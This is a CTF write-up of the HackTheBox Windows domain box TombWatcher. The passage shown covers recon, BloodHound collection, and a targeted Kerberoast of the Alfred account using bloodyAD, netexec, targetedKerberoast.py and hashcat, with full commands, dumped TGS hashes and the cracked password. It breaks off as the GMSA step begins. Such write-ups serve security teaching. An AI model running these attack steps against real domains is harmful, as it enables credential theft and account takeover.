TombWatcher

TombWatcher is an assume breach active directory box. I’ll use BloodHound to find a path to another user with targeted Kerberoasting, GMSA, ForceChangePassword, and a shadow credential. This user has access to the AD Recycle Bin, where I’ll recover an old ADCS admin account. I’ll use that account to exploit ESC15 to get Administrator access.

Box Info

Name TombWatcher TombWatcher
Play on HackTheBox
Release Date 07 Jun 2025
Retire Date 11 Oct 2025
OS Windows Windows
Base Points Medium [30]
Rated Difficulty Rated difficulty for TombWatcher
Radar Graph Radar chart for TombWatcher
First Blood User 00:11:12FabrizzioBridi
First Blood Root 00:28:20ahos6
Creators mrb3n8132
Sentinal
Scenario As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account:
henry / H3nry_987TGV!

Recon

Initial Scanning

nmap finds 21 open TCP ports:

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.72
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-11 18:48 UTC
Nmap scan report for 10.10.11.72
Host is up (0.092s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49683/tcp open  unknown
49684/tcp open  unknown
49685/tcp open  unknown
49701/tcp open  unknown
49707/tcp open  unknown
49726/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
oxdf@hacky$ nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.72
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-11 18:50 UTC
Nmap scan report for 10.10.11.72
Host is up (0.091s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-11 22:53:05Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h02m52s, deviation: 0s, median: 4h02m51s
| smb2-time:
|   date: 2025-06-11T22:53:54
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.78 seconds

The box shows many of the ports associated with a Windows Domain Controller. The domain is tombwatcher.htb, and the hostname is DC01.

There’s also a webserver, and WinRM should I find creds.

I’ll use netexec to generate the hosts file line and add it to the top of my hosts file:

oxdf@hacky$ netexec smb 10.10.11.72 --generate-hosts-file hosts
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
oxdf@hacky$ cat hosts 
10.10.11.72     DC01.tombwatcher.htb tombwatcher.htb DC01
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts

Initial Credentials

HackTheBox provides the following scenario associated with TombWatcher:

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

The creds do work:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! 

They also work for LDAP, but not WinRM (unsurprisingly):

oxdf@hacky$ netexec ldap DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'
LDAP        10.10.11.72     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP        10.10.11.72     389    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! 
oxdf@hacky$ netexec winrm DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'
WINRM       10.10.11.72     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) 
WINRM       10.10.11.72     5985   DC01             [-] tombwatcher.htb\henry:H3nry_987TGV!

Given that, I’ll want to prioritize things like:

  • Web
  • SMB shares
  • Bloodhound (which includes most of the data from LDAP)
  • ADCS

Website - TCP 80

Site

The website is just the default IIS page:

image-20250611150301075

Tech Stack

The HTTP response headers show that it’s running ASP.NET on IIS:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sat, 16 Nov 2024 00:57:03 GMT
Accept-Ranges: bytes
ETag: "76e68173c237db1:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Wed, 11 Jun 2025 23:05:20 GMT
Content-Length: 703

The 404 page is the default IIS page:

image-20250611150929454

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://10.10.11.72

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.72
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        2l       10w      156c http://10.10.11.72/aspnet_client => http://10.10.11.72/aspnet_client/
200      GET      334l     2089w   180418c http://10.10.11.72/iisstart.png
200      GET       32l       55w      703c http://10.10.11.72/
404      GET       40l      156w     1888c http://10.10.11.72/con
404      GET       40l      156w     1902c http://10.10.11.72/aspnet_client/con
301      GET        2l       10w      156c http://10.10.11.72/Aspnet_client => http://10.10.11.72/Aspnet_client/
301      GET        2l       10w      156c http://10.10.11.72/aspnet_Client => http://10.10.11.72/aspnet_Client/
404      GET       40l      156w     1888c http://10.10.11.72/aux
404      GET       40l      156w     1902c http://10.10.11.72/aspnet_client/aux
404      GET       40l      156w     1902c http://10.10.11.72/Aspnet_client/con
301      GET        2l       10w      167c http://10.10.11.72/aspnet_client/system_web => http://10.10.11.72/aspnet_client/system_web/
404      GET       40l      156w     1902c http://10.10.11.72/aspnet_Client/con
404      GET       40l      156w     1902c http://10.10.11.72/Aspnet_client/aux
301      GET        2l       10w      156c http://10.10.11.72/ASPNET_CLIENT => http://10.10.11.72/ASPNET_CLIENT/
404      GET       40l      156w     1913c http://10.10.11.72/aspnet_client/system_web/con
301      GET        2l       10w      167c http://10.10.11.72/Aspnet_client/system_web => http://10.10.11.72/Aspnet_client/system_web/
404      GET       40l      156w     1902c http://10.10.11.72/aspnet_Client/aux
400      GET        6l       26w      324c http://10.10.11.72/error%1F_log
400      GET        6l       26w      324c http://10.10.11.72/aspnet_client/error%1F_log
404      GET       40l      156w     1902c http://10.10.11.72/ASPNET_CLIENT/con
301      GET        2l       10w      167c http://10.10.11.72/aspnet_Client/system_web => http://10.10.11.72/aspnet_Client/system_web/
404      GET       40l      156w     1888c http://10.10.11.72/prn
404      GET       40l      156w     1913c http://10.10.11.72/aspnet_client/system_web/aux
404      GET       40l      156w     1902c http://10.10.11.72/aspnet_client/prn
404      GET       40l      156w     1913c http://10.10.11.72/Aspnet_client/system_web/con
400      GET        6l       26w      324c http://10.10.11.72/Aspnet_client/error%1F_log
404      GET       40l      156w     1902c http://10.10.11.72/ASPNET_CLIENT/aux
404      GET       40l      156w     1913c http://10.10.11.72/aspnet_Client/system_web/con
404      GET       40l      156w     1913c http://10.10.11.72/Aspnet_client/system_web/aux
404      GET       40l      156w     1902c http://10.10.11.72/Aspnet_client/prn
400      GET        6l       26w      324c http://10.10.11.72/aspnet_Client/error%1F_log
301      GET        2l       10w      167c http://10.10.11.72/ASPNET_CLIENT/system_web => http://10.10.11.72/ASPNET_CLIENT/system_web/
404      GET       40l      156w     1913c http://10.10.11.72/aspnet_Client/system_web/aux
404      GET       40l      156w     1902c http://10.10.11.72/aspnet_Client/prn
400      GET        6l       26w      324c http://10.10.11.72/aspnet_client/system_web/error%1F_log
404      GET       40l      156w     1913c http://10.10.11.72/ASPNET_CLIENT/system_web/con
404      GET       40l      156w     1913c http://10.10.11.72/aspnet_client/system_web/prn
400      GET        6l       26w      324c http://10.10.11.72/ASPNET_CLIENT/error%1F_log
400      GET        6l       26w      324c http://10.10.11.72/Aspnet_client/system_web/error%1F_log
404      GET       40l      156w     1913c http://10.10.11.72/ASPNET_CLIENT/system_web/aux
404      GET       40l      156w     1902c http://10.10.11.72/ASPNET_CLIENT/prn
404      GET       40l      156w     1913c http://10.10.11.72/Aspnet_client/system_web/prn
400      GET        6l       26w      324c http://10.10.11.72/aspnet_Client/system_web/error%1F_log
404      GET       40l      156w     1913c http://10.10.11.72/aspnet_Client/system_web/prn
400      GET        6l       26w      324c http://10.10.11.72/ASPNET_CLIENT/system_web/error%1F_log
404      GET       40l      156w     1913c http://10.10.11.72/ASPNET_CLIENT/system_web/prn
[####################] - 3m    270027/270027  0s      found:46      errors:0
[####################] - 2m     30000/30000   295/s   http://10.10.11.72/
[####################] - 2m     30000/30000   294/s   http://10.10.11.72/aspnet_client/
[####################] - 2m     30000/30000   261/s   http://10.10.11.72/Aspnet_client/
[####################] - 2m     30000/30000   248/s   http://10.10.11.72/aspnet_Client/
[####################] - 2m     30000/30000   243/s   http://10.10.11.72/aspnet_client/system_web/
[####################] - 2m     30000/30000   254/s   http://10.10.11.72/ASPNET_CLIENT/
[####################] - 2m     30000/30000   261/s   http://10.10.11.72/Aspnet_client/system_web/
[####################] - 2m     30000/30000   305/s   http://10.10.11.72/aspnet_Client/system_web/
[####################] - 74s    30000/30000   405/s   http://10.10.11.72/ASPNET_CLIENT/system_web/ 

Nothing interesting.

SMB - TCP 445

The SMB shares are the default ones for a Windows DC:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! 
SMB         10.10.11.72     445    DC01             [*] Enumerated shares
SMB         10.10.11.72     445    DC01             Share           Permissions     Remark
SMB         10.10.11.72     445    DC01             -----           -----------     ------
SMB         10.10.11.72     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.72     445    DC01             C$                              Default share
SMB         10.10.11.72     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.72     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.72     445    DC01             SYSVOL          READ            Logon server share 

There are no interesting files there.

There are four non-default users:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! 
SMB         10.10.11.72     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-            
SMB         10.10.11.72     445    DC01             Administrator                 2025-04-25 14:56:03 0       Built-in account for administering the computer/domain
SMB         10.10.11.72     445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.10.11.72     445    DC01             krbtgt                        2024-11-16 00:02:28 0       Key Distribution Center Service Account
SMB         10.10.11.72     445    DC01             Henry                         2025-05-12 15:17:03 0        
SMB         10.10.11.72     445    DC01             Alfred                        2025-05-12 15:17:03 0        
SMB         10.10.11.72     445    DC01             sam                           2025-05-12 15:17:03 0        
SMB         10.10.11.72     445    DC01             john                          2025-05-19 13:25:10 0        
SMB         10.10.11.72     445    DC01             [*] Enumerated 7 local users: TOMBWATCHER

Bloodhound

Collection

I’ll collect Bloodhound data with RustHound-CE (cargo install rusthound-ce, I had to sudo apt install build-essential libkrb5-dev libclang-dev to get it to work). I’m using the Rust version because it collects ADCS data (where as the Python version does not as of TombWatcher’s release).

oxdf@hacky$ rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -c All
---------------------------------------------------
Initializing RustHound-CE at 19:19:01 on 06/11/25
Powered by @g0h4n_0
Special thanks to NH-RED-TEAM
---------------------------------------------------

[2025-06-11T19:19:01Z INFO  rusthound_ce] Verbosity level: Info
[2025-06-11T19:19:01Z INFO  rusthound_ce] Collection method: All
[2025-06-11T19:19:01Z INFO  rusthound_ce::ldap] Connected to TOMBWATCHER.HTB Active Directory!
[2025-06-11T19:19:01Z INFO  rusthound_ce::ldap] Starting data collection...
[2025-06-11T19:19:01Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:02Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=tombwatcher,DC=htb
[2025-06-11T19:19:02Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:03Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=tombwatcher,DC=htb
[2025-06-11T19:19:03Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:05Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=tombwatcher,DC=htb
[2025-06-11T19:19:05Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:05Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=tombwatcher,DC=htb
[2025-06-11T19:19:05Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:05Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=tombwatcher,DC=htb
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::parser] Starting the LDAP objects parsing...
[2025-06-11T19:19:05Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
⢀ Parsing LDAP objects: 1%
[2025-06-11T19:19:05Z INFO  rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::parser] Parsing LDAP objects finished!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 9 users parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 61 groups parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 2 ous parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 3 domains parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 74 containers parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 1 aiacas parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 1 rootcas parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2025-06-11T19:19:05Z INFO  rusthound_ce::json::maker::common] .//20250611191905_tombwatcher-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 19:19:05 on 06/11/25! Happy Graphing!

I’ll also collect with Python because at the time of TombWatcher’s release, RustHound-CE misses some other things:

oxdf@hacky$ bloodhound-ce-python -c all -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -ns 10.10.11.72
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users                       
INFO: Found 53 groups       
INFO: Found 2 gpos                      
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts   
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb                              
INFO: Done in 00M 17S
INFO: Compressing output into 20250612010529_bloodhound.zip

By collecting both, duplicate data is ignored, and I’ll get the fullest picture.

Analysis

I’ll start the Bloodhound CE docker container, and upload the data.

I’ll find the Henry user and mark them owned. Then I’ll look at Outbound Control:

image-20250611152332453

There is some ADCS stuff that is open to all Domain Users, and doesn’t look super interesting. The Henry user also has WriteSPN over Alfred. Some peaking ahead and looking at Outbound control, there’s a path from Henry to John that I’ll follow:

image-20250611172500498

Auth as Alfred

Targeted Kerberoast

Strategy

Kerberoasting is targeting a service account because it has service principal name (SPN) configured, which means that any authenticated user can request a TGS for that account. That TGS is encrypted with the service account’s password, and if that password is weak, it can be bruteforced offline with something like hashcat.

Targeted Kerberoasting involves adding an SPN to an account, and then Kerberoasting it (and ideally removing it after).

So while Alfred is almost certainly a user and not a service account, with the WriteSPN access over the account, I can make it Kerberoastable and look for a weak password.

I’ve shown targeted Kerberoasting several times before, most recently in Delegate, and before that in Vintage, Administrator, and Blazorized.

via BloodyAD / netexec

I can also take the steps myself by first adding a SPN to alfred using bloodyAD:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/whatever'
[+] alfred's servicePrincipalName has been updated

Now netexec can dump a hash:

oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -k --kerberoasting kerberoasting.hashes
LDAP        dc01.tombwatcher.htb 389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP        dc01.tombwatcher.htb 389    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! 
LDAP        dc01.tombwatcher.htb 389    DC01             [*] Skipping disabled account: krbtgt
LDAP        dc01.tombwatcher.htb 389    DC01             [*] Total of records returned 1
LDAP        dc01.tombwatcher.htb 389    DC01             [*] sAMAccountName: Alfred, memberOf: [], pwdLastSet: 2025-05-12 15:17:03.526670, lastLogon: <never>
LDAP        dc01.tombwatcher.htb 389    DC01             $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb\Alfred*$84c9e7e58da58ff7ccc1d1257375d948$ba7d7185fd61fb68954298b7d04783b8991e4ab3ece93bdddee0cc57eb532484d75b3168abc71e93be29187f8a2fafc104c804995e3426538d6fa517d901c8bf0074bdd88717e92378eeafc65fe4971d1dc3aaa309655d41ad069723d1908de9b20265504c6f61350516c7c77b28046a47df87e4b514698b3f0b8a6113f227f3ea120f04253a5f12895c45e25c36803c8479780a30ae37c2311dc3357c218b9f15a655f2484afb64758929deca9171a44cec189398b9b5abf289bf92761968925c117d3b8260ccb4ec4d90b85403c16f80c5e705ac6dd12a001536dc21454a7a1fd391d45a8f9ad3e534a5a9782701caf1ccc8c38bc1a69978330dd10e32485b655abaebb257b7562c0caeea21f351dcab4bed8f775ff4115006bf3055e54074a1723412d0e5b89f2783dfc861335f7b732661cd9a1a95bd2fbf641b2612c049144be1dae76d46c4e7ba58ebaf925e0c6d6f0e45444f2d539d180e86f673a9af00dc03672e943c06433a6d8589061555f4295db586a264542e0b046b081546a5389e634390167205fb7e548748f5f0e5d334f94684b2e1ded014b0322b63052389de6edc8dc49be49571f068873fc4c3b1ca9fe92d27c0c5330d35bb148c0c3c1cab4bc367220025bcccd672425b8a473a31631452beb3e1ca6f25335f4ffc596a3bef3a23fed6e08d7dd5a8bbf5812d9f92541b423d5bfdfae61e918020ce92b26b87c599840907e2c3c3a24caadde29e48b83d62fc4ee968646b62b01e7689eeadd08bb32c5e7c77390866f687c206898bb6cea0e5f9a3b97deefee542dc2eac7f2f4a70d35d3da1a07071955de9723d79499df36fad712a2f976937006efd36a7800cb6546ac7e5e376dcf29402eceaa0f143dc885139162451950f22a2cd3377ffc99609c258054384d3126882a66933868545fac3c78129bf14ce19ab8098e3026eed70e84e021c2aaa1708bc8cedb48656e443f09aa47882fc57cc4bda2a5f9895a71a4c79320f4bec0d75d20ec4a218627207949a57cfd22fa4a0c950fe5693fc2bbc3a91acd127f1051df93a5d74becf6d2859b94b59f38e096a144c6790a87441cf1395a6d4165dc34f7879d683d1d8b4e1875c8be2db39f08018a2ceb454ac1b05ef5484baa7645d5f7d8351d48d8b73ebe9fc3fd6aa5efa9cef0aea2d31417d0364c3763e792e93cbb64c14818770a30b5574073e2929ddcacbdb1a48f28966c6aa951b1d2d0d618fef5078dda19a901b126a5c888b9554218f96328586119baca5d41ecdf53916aca20d41be3c1bca1ed90cb594d3f5b9c6523121ea8db140af7a6375c0dc4c6c94785f90c553a2bb38b9ec197042cd4e90df20796eabaca57cc665a1be5b78522a5dec362499bdfd38503403175b8e170870427dbe9088faf5b88573aff0240e381ddf6ff7ebed124d7f85c9c77488ab9353b2866698ea6c497fcb8e60c7f08a4d5bcbb8cb354843

I can cleanup the SPN by setting it to nothing (though there’s a cleanup script that will do it as well):

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName
[+] alfred's servicePrincipalName has been updated

via targetedKerberoast.py

I show how I “install” targetedKerberoast.py in my uv cheatsheet. Now I can just run it with creds asking for the hashcat format:

oxdf@hacky$ targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -f hashcat --dc-host dc01.tombwatcher.htb
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$99bbe5e5c062623bcfdc5751b129baa2$9c77d45777f1a435dd054207ec71d00595e558696c0cbc361b573cb2581fa7165fb4e062c7c020ec5e7166919600c4ca9ab7dbe3f12072051fac107862035922c0753a0a35e3f9f03076b5edc1265e6ab0f3387225db79f3745f27d492d58ace553af9f41057a85c153b86da12a1a4e98d65fc23d0bc8fff0e5e1902b4d7f63886d0e52bee205ff14a9d0f2efc73a7cd06ac41105400ce90ef36fd6a1ca8fa2c2baf0e5901a5cc716692b4bf15e68c805fe545e6c13cc5700fee0b4d19312239871d0bc1ac6b1cd4487d93a36146777479731d0c6f040f4db9fdd8e271fc3d89924597950fb1eed7857cf6365169b6e8d398248fb2cf2f4a042eb710ad2a0da81145d0d01320223697cb928768dcd8d3a849605c489620634c9aa5c1002248e6c320d3957511cffa3212a7f208712c88b5c73d103a4fb612d320b2d0cc5672a44d83248d740e949524d4d8ab38574b4cdd95adefd24380417832cb7c8468015d59c5e4d46f34af6b4d2367b02025b6f9854a7f2ab506cde1d138e77550fc8dbb1215975062047ab6c3d8a2b71d69b37b1bf592a01d52f70f7f726234a5df25e0e636a0746d1ac7397fc9441dec1ced01d77ffade018e0b4d0d577d88a9e6e86b0a9f3bd04f20866e0a3a8d273d71324510a3df35a083f3ef4dc6ca25e642f7eb7d0e1a8e765f7b743bdf1be7ecc95532ea46b5041b5823727736346f61860d5986c7a3bc2efcb5dcd68a23fea4586cafe0327d71c96fe6807e5e872fe49cdb899543e0b393a7ed22404be8a12a8743aa75583893b446db2cea44a0e02c690c12c3addbfa8665b22cb67acbfa2ac559a828afce91b2d70f3b2e6772656d03a203171083cfef7105ac4a57cfd5ca503ef4d895aeffb98372c77740e2894b503307b369b6b8c49fedea9967c07ef2202a3b8730f192fa008b59cd4ed1cb1ba0d72da7d0fcc992f5ec605e3795056417baf7dd5520d14282cb95eeffc179223a492102e175f585928a2159a661a808028bba0c6f4ba49e3e845d6ae2569b7e24c0e9e65af3c39bfff7a0201182f9b44eaaadc53e6f81b976b76bea11f84317d9a27b04c59b2fdc944a6f5c67804d88407115909aa9d89c699babd44289708dd89bffa7fb8b0a3fd910cbd5df96f7c9f939f255f89ad08fe35033717c5c66e289c77ec89c384b76d8106060535eea0f652c5c2d3ce293815dad5e36aab4e6c785e0344d497fd7b9a1c94337925a0e41efb80eb688f27820bff32d6a7bfe59316726ec61273f833e6e7cb26b3e3128426b6f1babf8ce6356aa08d62ca9cff28ae280b695ac351bed9f4a01ff3117b197dba1e34f76a90b79e13db76527beb95c60fd21bc0fcc309dddde8db253b0e926fc0f97a63f50390ad2a324c7fe60a83977f9aef573e650401147ec1ebc96760f36ba9aa3a9559b71ab1fd1141c6e8e4eecae14a1626d9cf63074737fc06d8a9a45efa7434663323b

This script will handle adding the SPN, getting a hash, and then removing the SPN.

Crack Hash

I’ll save either of the resulting hashes to a file (they will be different, as they are not actually a hash, but an encrypted challenge response), and pass it to hashcat:

$ hashcat alfred.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
                                                           
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$99bbe5...[snip]...4663323b:basketball
...[snip]...

It cracks very quickly to “basketball”.

Validate Creds

The creds work:

oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u alfred -p basketball
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\alfred:basketball 

But not over WinRM:

oxdf@hacky$ netexec winrm dc01.tombwatcher.htb -u alfred -p basketball
WINRM       10.10.11.72     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) 
WINRM       10.10.11.72     5985   DC01             [-] tombwatcher.htb\alfred:basketball

Auth as ANSIBLE_DEV$

Enumeration

Back in the Bloodhound data, Alfred has AddSelf over the Infrastructure group, which can ReadGMSAPassword from the ANSIBLE_DEV$ account:

image-20250611172624772

Recover NTLM

Without being in the Infrastructure group, I’m not able to read the password:

oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa
